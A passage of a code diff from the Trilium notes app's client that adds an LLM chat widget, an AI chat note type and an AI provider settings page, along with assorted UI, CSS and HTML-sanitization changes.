+            case 'generating':
+                icon = 'bx-message-dots text-info';
+                labelClass = '';
+                content = `<div class="d-flex align-items-center">
+                    <i class="bx ${icon} me-1"></i>
+                    <span>${safeContent}</span>
+                </div>`;
+                break;
+
+            default:
+                icon = 'bx-info-circle text-muted';
+                labelClass = '';
+                content = `<div class="d-flex align-items-center">
+                    <i class="bx ${icon} me-1"></i>
+                    <span>${safeContent}</span>
+                </div>`;
+        }
+
+        html += `<div class="tool-step my-1">${content}</div>`;
+    });
+
+    return html;
+}

apps/client/src/widgets/llm_chat/utils.ts

@@ -0,0 +1,93 @@
+/**
+ * Utility functions for LLM Chat
+ */
+import { marked } from "marked";
+import { formatCodeBlocks } from "../../services/syntax_highlight.js";
+
+/**
+ * Format markdown content for display
+ */
+export function formatMarkdown(content: string): string {
+    if (!content) return '';
+
+    // First, extract HTML thinking visualization to protect it from replacements
+    const thinkingBlocks: string[] = [];
+    let processedContent = content.replace(/<div class=['"](thinking-process|reasoning-process)['"][\s\S]*?<\/div>/g, (match) => {
+        const placeholder = `__THINKING_BLOCK_${thinkingBlocks.length}__`;
+        thinkingBlocks.push(match);
+        return placeholder;
+    });
+
+    // Use marked library to parse the markdown
+    const markedContent = marked(processedContent, {
+        breaks: true,   // Convert line breaks to <br>
+        gfm: true,      // Enable GitHub Flavored Markdown
+        silent: true    // Ignore errors
+    });
+
+    // Handle potential promise (though it shouldn't be with our options)
+    if (typeof markedContent === 'string') {
+        processedContent = markedContent;
+    } else {
+        console.warn('Marked returned a promise unexpectedly');
+        // Use the original content as fallback
+        processedContent = content;
+    }
+
+    // Restore thinking visualization blocks
+    thinkingBlocks.forEach((block, index) => {
+        processedContent = processedContent.replace(`__THINKING_BLOCK_${index}__`, block);
+    });
+
+    return processedContent;
+}
+
+/**
+ * Simple HTML escaping for safer content display
+ */
+export function escapeHtml(text: string): string {
+    if (typeof text !== 'string') {
+        text = String(text || '');
+    }
+
+    return text
+        .replace(/&/g, '&amp;')
+        .replace(/</g, '&lt;')
+        .replace(/>/g, '&gt;')
+        .replace(/"/g, '&quot;')
+        .replace(/'/g, '&#039;');
+}
+
+/**
+ * Apply syntax highlighting to content
+ */
+export function applyHighlighting(element: HTMLElement): void {
+    formatCodeBlocks($(element));
+}
+
+/**
+ * Format tool arguments for display
+ */
+export function formatToolArgs(args: any): string {
+    if (!args || typeof args !== 'object') return '';
+
+    return Object.entries(args)
+        .map(([key, value]) => {
+            // Format the value based on its type
+            let displayValue;
+            if (typeof value === 'string') {
+                displayValue = value.length > 50 ? `"${value.substring(0, 47)}..."` : `"${value}"`;
+            } else if (value === null) {
+                displayValue = 'null';
+            } else if (Array.isArray(value)) {
+                displayValue = '[...]'; // Simplified array representation
+            } else if (typeof value === 'object') {
+                displayValue = '{...}'; // Simplified object representation
+            } else {
+                displayValue = String(value);
+            }
+
+            return `<span class="text-primary">${escapeHtml(key)}</span>: ${escapeHtml(displayValue)}`;
+        })
+        .join(', ');
+}

apps/client/src/widgets/llm_chat/validation.ts

@@ -0,0 +1,93 @@
+/**
+ * Validation functions for LLM Chat
+ */
+import type { OptionNames } from "@triliumnext/commons";
+import options from "../../services/options.js";
+import { t } from "../../services/i18n.js";
+
+/**
+ * Validate providers configuration
+ */
+export async function validateProviders(validationWarning: HTMLElement): Promise<void> {
+    try {
+        // Check if AI is enabled
+        const aiEnabled = options.is('aiEnabled');
+        if (!aiEnabled) {
+            validationWarning.style.display = 'none';
+            return;
+        }
+
+        // Get precedence list from options
+        const precedenceStr = options.get('aiProviderPrecedence') || 'openai,anthropic,ollama';
+        let precedenceList: string[] = [];
+
+        if (precedenceStr) {
+            if (precedenceStr.startsWith('[') && precedenceStr.endsWith(']')) {
+                try {
+                    precedenceList = JSON.parse(precedenceStr);
+                } catch (e) {
+                    console.error('Error parsing precedence list:', e);
+                    precedenceList = ['openai']; // Default if parsing fails
+                }
+            } else if (precedenceStr.includes(',')) {
+                precedenceList = precedenceStr.split(',').map(p => p.trim());
+            } else {
+                precedenceList = [precedenceStr];
+            }
+        }
+
+        // Check for configuration issues with providers in the precedence list
+        const configIssues: string[] = [];
+
+        // Always add experimental warning as the first item
+        configIssues.push(t("ai_llm.experimental_warning"));
+
+        // Check each provider in the precedence list for proper configuration
+        for (const provider of precedenceList) {
+            if (provider === 'openai') {
+                // Check OpenAI configuration via server-provided boolean flag
+                const isKeySet = options.is('isOpenaiApiKeySet' as OptionNames);
+                if (!isKeySet) {
+                    configIssues.push(`OpenAI API key is missing (optional for OpenAI-compatible endpoints)`);
+                }
+            } else if (provider === 'anthropic') {
+                // Check Anthropic configuration via server-provided boolean flag
+                const isKeySet = options.is('isAnthropicApiKeySet' as OptionNames);
+                if (!isKeySet) {
+                    configIssues.push(`Anthropic API key is missing`);
+                }
+            } else if (provider === 'ollama') {
+                // Check Ollama configuration
+                const baseUrl = options.get('ollamaBaseUrl');
+                if (!baseUrl) {
+                    configIssues.push(`Ollama Base URL is missing`);
+                }
+            }
+            // Add checks for other providers as needed
+        }
+
+        // Show warning if there are configuration issues
+        if (configIssues.length > 0) {
+            let message = '<i class="bx bx-error-circle me-2"></i><strong>AI Provider Configuration Issues</strong>';
+
+            message += '<ul class="mb-1 ps-4">';
+
+            // Show configuration issues
+            for (const issue of configIssues) {
+                message += `<li>${issue}</li>`;
+            }
+
+            message += '</ul>';
+            message += '<div class="mt-2"><a href="javascript:" class="settings-link btn btn-sm btn-outline-secondary"><i class="bx bx-cog me-1"></i>Open AI Settings</a></div>';
+
+            // Update HTML content
+            validationWarning.innerHTML = message;
+            validationWarning.style.display = 'block';
+        } else {
+            validationWarning.style.display = 'none';
+        }
+    } catch (error) {
+        console.error('Error validating providers:', error);
+        validationWarning.style.display = 'none';
+    }
+}

apps/client/src/widgets/llm_chat_panel.ts

@@ -0,0 +1,7 @@
+/**
+ * LLM Chat Panel Widget
+ * This file is preserved for backward compatibility.
+ * The actual implementation has been moved to the llm_chat/ folder.
+ */
+import LlmChatPanel from './llm_chat/index.js';
+export default LlmChatPanel;

apps/client/src/widgets/note_bars/CollectionProperties.css

@@ -1,5 +1,5 @@
 .collection-properties {
-    padding: 0.55em var(--content-margin-inline);
+    padding: 0.55em 12px;
     display: flex;
     gap: 0.25em;
     align-items: center;

apps/client/src/widgets/note_types.tsx

@@ -12,7 +12,7 @@ import { TypeWidgetProps } from "./type_widgets/type_widget";
  * A `NoteType` altered by the note detail widget, taking into consideration whether the note is editable or not and adding special note types such as an empty one,
  * for protected session or attachment information.
  */
-export type ExtendedNoteType = Exclude<NoteType, "launcher" | "text" | "code"> | "empty" | "readOnlyCode" | "readOnlyText" | "editableText" | "editableCode" | "attachmentDetail" | "attachmentList" |  "protectedSession" | "sqlConsole";
+export type ExtendedNoteType = Exclude<NoteType, "launcher" | "text" | "code"> | "empty" | "readOnlyCode" | "readOnlyText" | "editableText" | "editableCode" | "attachmentDetail" | "attachmentList" |  "protectedSession" | "aiChat" | "sqlConsole";
 
 export type TypeWidget = ((props: TypeWidgetProps) => VNode | JSX.Element | undefined);
 type NoteTypeView = () => (Promise<{ default: TypeWidget } | TypeWidget> | TypeWidget);
@@ -137,6 +137,11 @@ export const TYPE_MAPPINGS: Record<ExtendedNoteType, NoteTypeMapping> = {
         printable: true,
         isFullHeight: true
     },
+    aiChat: {
+        view: () => import("./type_widgets/AiChat"),
+        className: "ai-chat-widget-container",
+        isFullHeight: true
+    },
     sqlConsole: {
         view: () => import("./type_widgets/SqlConsole"),
         className: "sql-console-widget-container",

apps/client/src/widgets/note_wrapper.ts

@@ -94,11 +94,6 @@ export default class NoteWrapperWidget extends FlexContainer<BasicWidget> {
             "application/pdf"
         ]
 
-        const COLLECTIONS_WITH_BACKGROUND_EFFECTS = [
-            "grid",
-            "list"
-        ]
-
         if (note.isOptions()) {
             return true;
         }
@@ -107,10 +102,6 @@ export default class NoteWrapperWidget extends FlexContainer<BasicWidget> {
             return true;
         }
 
-        if (note.type === "book" && COLLECTIONS_WITH_BACKGROUND_EFFECTS.includes(note.getLabelValue("viewType") ?? "none")) {
-            return true;
-        }
-
         return false;
     }
 

apps/client/src/widgets/react/Card.css

@@ -1,4 +1,4 @@
-:where(.tn-card, .tn-card-frame) {
+:where(.tn-card) {
     --card-border-radius: 8px;
     --card-padding-block: 8px;
     --card-padding-inline: 16px;
@@ -6,22 +6,6 @@
     --card-nested-section-indent: 30px;
 }
 
-.tn-card-frame,
-.tn-card-body .tn-card-section {
-    padding: var(--card-padding-block) var(--card-padding-inline);
-    border: 1px solid var(--card-border-color, var(--main-border-color));
-    background: var(--card-background-color);
-
-    &.tn-card-highlight-on-hover:hover {
-        background-color: var(--card-background-hover-color);
-        transition: background-color .2s ease-out;
-    }
-}
-
-.tn-card-frame {
-    border-radius: var(--card-border-radius);
-}
-
 .tn-card-heading {
     margin-bottom: 10px;
     font-size: .75rem;
@@ -36,6 +20,10 @@
     gap: var(--card-section-gap);
 
     .tn-card-section {
+        padding: var(--card-padding-block) var(--card-padding-inline);
+        border: 1px solid var(--card-border-color, var(--main-border-color));
+        background: var(--card-background-color);
+
         &:first-of-type {
             border-top-left-radius: var(--card-border-radius);
             border-top-right-radius: var(--card-border-radius);
@@ -50,5 +38,10 @@
             padding-left: calc(var(--card-padding-inline) + var(--card-nested-section-indent) * var(--tn-card-section-nesting-level));
             background-color: color-mix(in srgb, var(--card-background-color) calc(100% / (var(--tn-card-section-nesting-level) + 1)) , transparent);
         }
+
+        &.tn-card-section-highlight-on-hover:hover {
+            background-color: var(--card-background-hover-color);
+            transition: background-color .2s ease-out;
+        }
     }
 }

apps/client/src/widgets/react/Card.tsx

@@ -1,29 +1,9 @@
 import "./Card.css";
 import { ComponentChildren, createContext } from "preact";
-import { JSX, HTMLAttributes } from "preact";
+import { JSX } from "preact";
 import { useContext } from "preact/hooks";
 import clsx from "clsx";
 
-// #region Card Frame
-
-export interface CardFrameProps extends HTMLAttributes<HTMLDivElement> {
-    className?: string;
-    highlightOnHover?: boolean;
-    children: ComponentChildren;
-}
-
-export function CardFrame({className, highlightOnHover, children, ...rest}: CardFrameProps) {
-    return <div {...rest}
-                className={clsx("tn-card-frame", className, {
-                    "tn-card-highlight-on-hover": highlightOnHover
-                })}>
-
-        {children}
-    </div>;
-}
-
-// #endregion
-
 // #region Card
 
 export interface CardProps {
@@ -65,7 +45,7 @@ export function CardSection(props: {children: ComponentChildren} & CardSectionPr
     return <>
         <section className={clsx("tn-card-section", props.className, {
                     "tn-card-section-nested": nestingLevel > 0,
-                    "tn-card-highlight-on-hover": props.highlightOnHover || props.onAction
+                    "tn-card-section-highlight-on-hover": props.highlightOnHover || props.onAction
                  })}
                  style={{"--tn-card-section-nesting-level": (nestingLevel) ? nestingLevel : null}}
                  onClick={props.onAction}>

apps/client/src/widgets/react/NoItems.css

@@ -7,11 +7,9 @@
     padding: 0.75em;
     color: var(--muted-text-color);
     height: 100%;
-    text-align: center;
 
     .tn-icon {
-        font-size: 4em;
-        margin-bottom: 1rem;
+        font-size: 3em;
     }
 
     button {

apps/client/src/widgets/react/RawHtml.tsx

@@ -1,5 +1,7 @@
 import type { CSSProperties, HTMLProps, RefObject } from "preact/compat";
 
+import { sanitizeNoteContentHtml } from "../../services/sanitize_content.js";
+
 type HTMLElementLike = string | HTMLElement | JQuery<HTMLElement>;
 
 interface RawHtmlProps extends Pick<HTMLProps<HTMLElement>, "tabindex" | "dir"> {
@@ -36,6 +38,6 @@ export function getHtml(html: string | HTMLElement | JQuery<HTMLElement>) {
     }
 
     return {
-        __html: html as string
+        __html: sanitizeNoteContentHtml(html as string)
     };
 }

apps/client/src/widgets/react/hooks.tsx

@@ -1214,12 +1214,6 @@ export function useNoteTitle(noteId: string | undefined, parentNoteId: string |
         refresh();
     });
 
-    // React to external changes.
-    useTriliumEvent("entitiesReloaded", useCallback(({ loadResults }) => {
-        if (loadResults.isNoteReloaded(noteId) || (parentNoteId && loadResults.getBranchRows().some(b => b.noteId === noteId && b.parentNoteId === parentNoteId))) {
-            refresh();
-        }
-    }, [noteId, parentNoteId, refresh]));
     return title;
 }
 

apps/client/src/widgets/ribbon/InheritedAttributesTab.tsx

@@ -1,18 +1,17 @@
 import { useEffect, useState } from "preact/hooks";
-
+import { TabContext } from "./ribbon-interface";
 import FAttribute from "../../entities/fattribute";
-import attribute_renderer from "../../services/attribute_renderer";
+import { useLegacyWidget, useTriliumEvent } from "../react/hooks";
 import attributes from "../../services/attributes";
 import { t } from "../../services/i18n";
-import AttributeDetailWidget from "../attribute_widgets/attribute_detail";
-import { useLegacyWidget, useTriliumEvent } from "../react/hooks";
+import attribute_renderer from "../../services/attribute_renderer";
 import RawHtml from "../react/RawHtml";
 import { joinElements } from "../react/react_utils";
-import { TabContext } from "./ribbon-interface";
+import AttributeDetailWidget from "../attribute_widgets/attribute_detail";
 
 type InheritedAttributesTabArgs = Pick<TabContext, "note" | "componentId"> & {
     emptyListString?: string;
-};
+}
 
 export default function InheritedAttributesTab({ note, componentId, emptyListString }: InheritedAttributesTabArgs) {
     const [ inheritedAttributes, setInheritedAttributes ] = useState<FAttribute[]>();
@@ -24,11 +23,10 @@ export default function InheritedAttributesTab({ note, componentId, emptyListStr
         attrs.sort((a, b) => {
             if (a.noteId === b.noteId) {
                 return a.position - b.position;
+            } else {
+                // inherited attributes should stay grouped: https://github.com/zadam/trilium/issues/3761
+                return a.noteId < b.noteId ? -1 : 1;
             }
-
-            // inherited attributes should stay grouped: https://github.com/zadam/trilium/issues/3761
-            return a.noteId < b.noteId ? -1 : 1;
-
         });
 
         setInheritedAttributes(attrs);
@@ -47,7 +45,6 @@ export default function InheritedAttributesTab({ note, componentId, emptyListStr
                 {inheritedAttributes?.length ? (
                     joinElements(inheritedAttributes.map(attribute => (
                         <InheritedAttribute
-                            key={attribute.attributeId}
                             attribute={attribute}
                             onClick={(e) => {
                                 setTimeout(
@@ -76,13 +73,13 @@ export default function InheritedAttributesTab({ note, componentId, emptyListStr
 
             {attributeDetailWidgetEl}
         </div>
-    );
+    )
 }
 function InheritedAttribute({ attribute, onClick }: { attribute: FAttribute, onClick: (e: MouseEvent) => void }) {
     const [ html, setHtml ] = useState<JQuery<HTMLElement> | string>("");
     useEffect(() => {
         attribute_renderer.renderAttribute(attribute, false).then(setHtml);
-    }, [ attribute ]);
+    }, []);
 
     return (
         <RawHtml

apps/client/src/widgets/ribbon/NoteActions.tsx

@@ -85,7 +85,7 @@ export function NoteContextMenu({ note, noteContext, itemsAtStart, itemsNearNote
     );
     const isElectron = getIsElectron();
     const isMac = getIsMac();
-    const hasSource = ["text", "code", "relationMap", "mermaid", "canvas", "mindMap"].includes(noteType);
+    const hasSource = ["text", "code", "relationMap", "mermaid", "canvas", "mindMap", "aiChat"].includes(noteType);
     const isSearchOrBook = ["search", "book"].includes(noteType);
     const isHelpPage = note.noteId.startsWith("_help");
     const [syncServerHost] = useTriliumOption("syncServerHost");

apps/client/src/widgets/search_result.css

@@ -1,6 +1,8 @@
 .search-result-widget {
     flex-grow: 100000;
     flex-shrink: 100000;
+    height: 100%;
+    overflow: auto;
     contain: none !important;
 }
 
@@ -8,7 +10,7 @@
     padding: 10px;
 }
 
-.note-split.type-search .scrolling-container {
-    display: flex;
-    flex-direction: column;
-}
+.search-no-results, .search-not-executed-yet {
+    margin: 20px;
+    padding: 20px !important;
+}

apps/client/src/widgets/search_result.tsx

@@ -1,13 +1,9 @@
-import "./search_result.css";
-
-import clsx from "clsx";
 import { useEffect, useState } from "preact/hooks";
-
 import { t } from "../services/i18n";
-import { SearchNoteList } from "./collections/NoteList";
-import Button from "./react/Button";
+import Alert from "./react/Alert";
 import { useNoteContext,  useTriliumEvent } from "./react/hooks";
-import NoItems from "./react/NoItems";
+import "./search_result.css";
+import { SearchNoteList } from "./collections/NoteList";
 
 enum SearchResultState {
     NO_RESULTS,
@@ -46,15 +42,13 @@ export default function SearchResult() {
     });
 
     return (
-        <div className={clsx("search-result-widget", state === undefined && "hidden-ext")}>
+        <div className={`search-result-widget ${!state ? "hidden-ext" : ""}`}>
             {state === SearchResultState.NOT_EXECUTED && (
-                <NoItems icon="bx bx-file-find" text={t("search_result.search_not_executed")}>
-                    <Button text={t("search_result.search_now")} triggerCommand="searchNotes" />
-                </NoItems>
+                <Alert type="info" className="search-not-executed-yet">{t("search_result.search_not_executed")}</Alert>
             )}
 
             {state === SearchResultState.NO_RESULTS && (
-                <NoItems icon="bx bx-rectangle" text={t("search_result.no_notes_found")} />
+                <Alert type="info" className="search-no-results">{t("search_result.no_notes_found")}</Alert>
             )}
 
             {state === SearchResultState.GOT_RESULTS && (

apps/client/src/widgets/tab_row.ts

@@ -1,14 +1,13 @@
 import Draggabilly, { type MoveVector } from "draggabilly";
-
-import appContext, { type CommandListenerData, type CommandNames, type EventData } from "../components/app_context.js";
-import type NoteContext from "../components/note_context.js";
-import contextMenu from "../menus/context_menu.js";
-import attributeService from "../services/attributes.js";
-import froca from "../services/froca.js";
 import { t } from "../services/i18n.js";
-import keyboardActionService from "../services/keyboard_actions.js";
-import utils from "../services/utils.js";
 import BasicWidget from "./basic_widget.js";
+import contextMenu from "../menus/context_menu.js";
+import utils from "../services/utils.js";
+import keyboardActionService from "../services/keyboard_actions.js";
+import appContext, { type CommandNames, type CommandListenerData, type EventData } from "../components/app_context.js";
+import froca from "../services/froca.js";
+import attributeService from "../services/attributes.js";
+import type NoteContext from "../components/note_context.js";
 import { setupHorizontalScrollViaWheel } from "./widget_utils.js";
 
 const isDesktop = utils.isDesktop();
@@ -97,6 +96,7 @@ const TAB_ROW_TPL = `
     .tab-row-filler {
         box-sizing: border-box;
         -webkit-app-region: drag;
+        height: 100%;
         min-width: ${MIN_FILLER_WIDTH}px;
         flex-grow: 1;
     }

apps/client/src/widgets/toc.ts

@@ -21,6 +21,27 @@ import OnClickButtonWidget from "./buttons/onclick_button.js";
 import appContext, { type EventData } from "../components/app_context.js";
 import katex from "../services/math.js";
 import type FNote from "../entities/fnote.js";
+import DOMPurify from "dompurify";
+
+/**
+ * DOMPurify configuration for ToC headings. Only allows inline formatting
+ * tags that legitimately appear in headings (bold, italic, KaTeX math output).
+ * Blocks all event handlers, script tags, and dangerous attributes.
+ */
+const TOC_PURIFY_CONFIG: DOMPurify.Config = {
+    ALLOWED_TAGS: [
+        "b", "i", "em", "strong", "s", "del", "sub", "sup",
+        "code", "mark", "span", "abbr", "small",
+        // KaTeX rendering output elements
+        "math", "semantics", "mrow", "mi", "mo", "mn", "msup",
+        "msub", "mfrac", "mover", "munder", "munderover",
+        "msqrt", "mroot", "mtable", "mtr", "mtd", "mtext",
+        "mspace", "annotation"
+    ],
+    ALLOWED_ATTR: ["class", "style", "aria-hidden", "encoding", "xmlns"],
+    RETURN_DOM: false,
+    RETURN_DOM_FRAGMENT: false
+};
 
 const TPL = /*html*/`<div class="toc-widget">
     <style>
@@ -337,7 +358,7 @@ export default class TocWidget extends RightPanelWidget {
             //
 
             const headingText = await this.replaceMathTextWithKatax(m[2]);
-            const $itemContent = $('<div class="item-content">').html(headingText);
+            const $itemContent = $('<div class="item-content">').html(DOMPurify.sanitize(headingText, TOC_PURIFY_CONFIG));
             const $li = $("<li>").append($itemContent)
                 .on("click", () => this.jumpToHeading(headingIndex));
             $ols[$ols.length - 1].append($li);

apps/client/src/widgets/type_widgets/AiChat.tsx

@@ -0,0 +1,48 @@
+import { useEffect, useRef } from "preact/hooks";
+
+import LlmChatPanel from "../llm_chat";
+import { useEditorSpacedUpdate, useLegacyWidget } from "../react/hooks";
+import { type TypeWidgetProps } from "./type_widget";
+
+export default function AiChat({ note, noteContext }: TypeWidgetProps) {
+    const dataRef = useRef<object>();
+    const spacedUpdate = useEditorSpacedUpdate({
+        note,
+        noteContext,
+        noteType: "aiChat",
+        getData: async () => ({
+            content: JSON.stringify(dataRef.current)
+        }),
+        onContentChange: (newContent) => {
+            try {
+                dataRef.current = JSON.parse(newContent);
+                llmChatPanel.refresh();
+            } catch (e) {
+                dataRef.current = {};
+            }
+        }
+    });
+    const [ ChatWidget, llmChatPanel ] = useLegacyWidget(() => {
+        const llmChatPanel = new LlmChatPanel();
+        llmChatPanel.setDataCallbacks(
+            async (data) => {
+                dataRef.current = data;
+                spacedUpdate.scheduleUpdate();
+            },
+            async () => dataRef.current
+        );
+        return llmChatPanel;
+    }, {
+        noteContext,
+        containerStyle: {
+            height: "100%"
+        }
+    });
+
+    useEffect(() => {
+        llmChatPanel.setNoteId(note.noteId);
+        llmChatPanel.setCurrentNoteId(note.noteId);
+    }, [ note ]);
+
+    return ChatWidget;
+}

apps/client/src/widgets/type_widgets/ContentWidget.css

@@ -4,5 +4,4 @@
 
 .note-detail.full-height .note-detail-content-widget-content {
     padding: 0;
-    height: 100%;
 }

apps/client/src/widgets/type_widgets/ContentWidget.tsx

@@ -11,6 +11,7 @@ import MultiFactorAuthenticationSettings from "./options/multi_factor_authentica
 import EtapiSettings from "./options/etapi";
 import BackupSettings from "./options/backup";
 import SyncOptions from "./options/sync";
+import AiSettings from "./options/ai_settings";
 import OtherSettings from "./options/other";
 import InternationalizationOptions from "./options/i18n";
 import AdvancedSettings from "./options/advanced";
@@ -18,7 +19,7 @@ import "./ContentWidget.css";
 import { t } from "../../services/i18n";
 import BackendLog from "./code/BackendLog";
 
-export type OptionPages = "_optionsAppearance" | "_optionsShortcuts" | "_optionsTextNotes" | "_optionsCodeNotes" | "_optionsImages" | "_optionsSpellcheck" | "_optionsPassword" | "_optionsMFA" | "_optionsEtapi" | "_optionsBackup" | "_optionsSync" | "_optionsOther" | "_optionsLocalization" | "_optionsAdvanced";
+export type OptionPages = "_optionsAppearance" | "_optionsShortcuts" | "_optionsTextNotes" | "_optionsCodeNotes" | "_optionsImages" | "_optionsSpellcheck" | "_optionsPassword" | "_optionsMFA" | "_optionsEtapi" | "_optionsBackup" | "_optionsSync" | "_optionsAi" | "_optionsOther" | "_optionsLocalization" | "_optionsAdvanced";
 
 const CONTENT_WIDGETS: Record<OptionPages | "_backendLog", (props: TypeWidgetProps) => JSX.Element> = {
     _optionsAppearance: AppearanceSettings,
@@ -32,6 +33,7 @@ const CONTENT_WIDGETS: Record<OptionPages | "_backendLog", (props: TypeWidgetPro
     _optionsEtapi: EtapiSettings,
     _optionsBackup: BackupSettings,
     _optionsSync: SyncOptions,
+    _optionsAi: AiSettings,
     _optionsOther: OtherSettings,
     _optionsLocalization: InternationalizationOptions,
     _optionsAdvanced: AdvancedSettings,

apps/client/src/widgets/type_widgets/MindMap.tsx

@@ -36,7 +36,6 @@ const LOCALE_MAPPINGS: Record<DISPLAYABLE_LOCALE_IDS, Options["locale"] | null>
     fr: "fr",
     ga: null,
     it: "it",
-    hi: null,
     ja: "ja",
     pt: "pt",
     pl: null,

apps/client/src/widgets/type_widgets/canvas/i18n.spec.ts

@@ -23,8 +23,8 @@ describe("Canvas i18n", () => {
             if (locale.contentOnly || locale.devOnly) continue;
             const languageCode = LANGUAGE_MAPPINGS[locale.id];
             if (languageCode && !supportedLanguageCodes.has(languageCode)) {
-                const supportdLocales = Array.from(supportedLanguageCodes.values()).join(", ");
-                expect.fail(`Unable to find locale for ${locale.id} -> ${languageCode}, supported locales: ${supportdLocales}`);
+                console.log("Supported locales:", Array.from(supportedLanguageCodes.values()).join(", "));
+                expect.fail(`Unable to find locale for ${locale.id} -> ${languageCode}.`);
             }
         }
     });

apps/client/src/widgets/type_widgets/canvas/i18n.ts

@@ -12,7 +12,6 @@ export const LANGUAGE_MAPPINGS: Record<DISPLAYABLE_LOCALE_IDS, Language["code"]
     fr: "fr-FR",
     ga: null,
     it: "it-IT",
-    hi: "hi-IN",
     ja: "ja-JP",
     pt: "pt-PT",
     pl: "pl-PL",

apps/client/src/widgets/type_widgets/options/ai_settings.tsx

@@ -0,0 +1,255 @@
+import { useCallback, useEffect, useState } from "preact/hooks";
+import { t } from "../../../services/i18n";
+import toast from "../../../services/toast";
+import FormCheckbox from "../../react/FormCheckbox";
+import FormGroup from "../../react/FormGroup";
+import { useTriliumOption, useTriliumOptionBool } from "../../react/hooks";
+import OptionsSection from "./components/OptionsSection";
+import Admonition from "../../react/Admonition";
+import FormSelect from "../../react/FormSelect";
+import FormTextBox from "../../react/FormTextBox";
+import type { OllamaModelResponse, OpenAiOrAnthropicModelResponse, OptionNames } from "@triliumnext/commons";
+import server from "../../../services/server";
+import options from "../../../services/options";
+import Button from "../../react/Button";
+import FormTextArea from "../../react/FormTextArea";
+
+export default function AiSettings() {
+    return (
+        <>
+            <EnableAiSettings />
+            <ProviderSettings />
+        </>
+    );
+}
+
+function EnableAiSettings() {
+    const [ aiEnabled, setAiEnabled ] = useTriliumOptionBool("aiEnabled");
+
+    return (
+        <>            
+            <OptionsSection title={t("ai_llm.title")}>                            
+                <FormGroup name="ai-enabled" description={t("ai_llm.enable_ai_description")}>
+                    <FormCheckbox                        
+                        label={t("ai_llm.enable_ai_features")}
+                        currentValue={aiEnabled} onChange={(isEnabled) => {
+                            if (isEnabled) {
+                                toast.showMessage(t("ai_llm.ai_enabled"));
+                            } else {
+                                toast.showMessage(t("ai_llm.ai_disabled"));
+                            }
+
+                            setAiEnabled(isEnabled);
+                        }}
+                    />
+                </FormGroup>
+                {aiEnabled && <Admonition type="warning">{t("ai_llm.experimental_warning")}</Admonition>}
+            </OptionsSection>
+        </>        
+    );
+}
+
+function ProviderSettings() {
+    const [ aiSelectedProvider, setAiSelectedProvider ] = useTriliumOption("aiSelectedProvider");
+    const [ aiTemperature, setAiTemperature ] = useTriliumOption("aiTemperature");
+    const [ aiSystemPrompt, setAiSystemPrompt ] = useTriliumOption("aiSystemPrompt");
+
+    return (
+        <OptionsSection title={t("ai_llm.provider_configuration")}>
+            <FormGroup name="selected-provider" label={t("ai_llm.selected_provider")} description={t("ai_llm.selected_provider_description")}>
+                <FormSelect
+                    values={[
+                        { value: "", text: t("ai_llm.select_provider") },
+                        { value: "openai", text: "OpenAI" },
+                        { value: "anthropic", text: "Anthropic" },
+                        { value: "ollama", text: "Ollama" }
+                    ]}
+                    currentValue={aiSelectedProvider} onChange={setAiSelectedProvider}
+                    keyProperty="value" titleProperty="text"
+                />
+            </FormGroup>
+
+            {
+                aiSelectedProvider === "openai" ?
+                    <SingleProviderSettings
+                        title={t("ai_llm.openai_settings")}
+                        apiKeyDescription={t("ai_llm.openai_api_key_description")}
+                        baseUrlDescription={t("ai_llm.openai_url_description")}
+                        modelDescription={t("ai_llm.openai_model_description")}
+                        validationErrorMessage={t("ai_llm.empty_key_warning.openai")}
+                        apiKeyOption="openaiApiKey" baseUrlOption="openaiBaseUrl" modelOption="openaiDefaultModel"
+                        provider={aiSelectedProvider}
+                    />
+                : aiSelectedProvider === "anthropic" ?
+                    <SingleProviderSettings
+                        title={t("ai_llm.anthropic_settings")}
+                        apiKeyDescription={t("ai_llm.anthropic_api_key_description")}
+                        modelDescription={t("ai_llm.anthropic_model_description")}
+                        baseUrlDescription={t("ai_llm.anthropic_url_description")}
+                        validationErrorMessage={t("ai_llm.empty_key_warning.anthropic")}
+                        apiKeyOption="anthropicApiKey" baseUrlOption="anthropicBaseUrl" modelOption="anthropicDefaultModel"
+                        provider={aiSelectedProvider}
+                    />
+                : aiSelectedProvider === "ollama" ?
+                    <SingleProviderSettings
+                        title={t("ai_llm.ollama_settings")}
+                        baseUrlDescription={t("ai_llm.ollama_url_description")}
+                        modelDescription={t("ai_llm.ollama_model_description")}
+                        validationErrorMessage={t("ai_llm.ollama_no_url")}
+                        baseUrlOption="ollamaBaseUrl"
+                        provider={aiSelectedProvider} modelOption="ollamaDefaultModel"
+                    />
+                :
+                    <></>
+            }    
+
+            <FormGroup name="ai-temperature" label={t("ai_llm.temperature")} description={t("ai_llm.temperature_description")}>
+                <FormTextBox
+                    type="number" min="0" max="2" step="0.1"
+                    currentValue={aiTemperature} onChange={setAiTemperature}
+                />
+            </FormGroup>
+
+            <FormGroup name="system-prompt" label={t("ai_llm.system_prompt")} description={t("ai_llm.system_prompt_description")}>
+                <FormTextArea
+                    rows={3}
+                    currentValue={aiSystemPrompt} onBlur={setAiSystemPrompt}
+                />
+            </FormGroup>
+        </OptionsSection>
+    )
+}
+
+interface SingleProviderSettingsProps {
+    provider: string;
+    title: string;
+    apiKeyDescription?: string;
+    baseUrlDescription: string;
+    modelDescription: string;
+    validationErrorMessage: string;
+    apiKeyOption?: OptionNames;
+    baseUrlOption: OptionNames;
+    modelOption: OptionNames;
+}
+
+function SingleProviderSettings({ provider, title, apiKeyDescription, baseUrlDescription, modelDescription, validationErrorMessage, apiKeyOption, baseUrlOption, modelOption }: SingleProviderSettingsProps) {
+    const [ baseUrl, setBaseUrl ] = useTriliumOption(baseUrlOption);
+
+    // API keys are write-only: the server never sends their values.
+    // Instead, a boolean flag indicates whether the key is configured.
+    const apiKeySetFlag = apiKeyOption
+        ? `is${apiKeyOption.charAt(0).toUpperCase()}${apiKeyOption.slice(1)}Set` as OptionNames
+        : undefined;
+    const isApiKeySet = apiKeySetFlag ? options.is(apiKeySetFlag) : false;
+    const [ apiKeyInput, setApiKeyInput ] = useState("");
+
+    const saveApiKey = useCallback(async (value: string) => {
+        setApiKeyInput(value);
+        if (apiKeyOption && value) {
+            await options.save(apiKeyOption, value);
+            // Update the local boolean flag so the UI reflects the change immediately
+            options.set(apiKeySetFlag!, "true");
+        }
+    }, [apiKeyOption, apiKeySetFlag]);
+
+    const isValid = apiKeyOption ? (isApiKeySet || !!apiKeyInput) : !!baseUrl;
+
+    return (
+        <div class="provider-settings">
+            <div class="card mt-3">
+                <div class="card-header">
+                    <h5>{title}</h5>
+                </div>
+
+                <div class="card-body">
+                    {!isValid && <Admonition type="caution">{validationErrorMessage}</Admonition> }
+
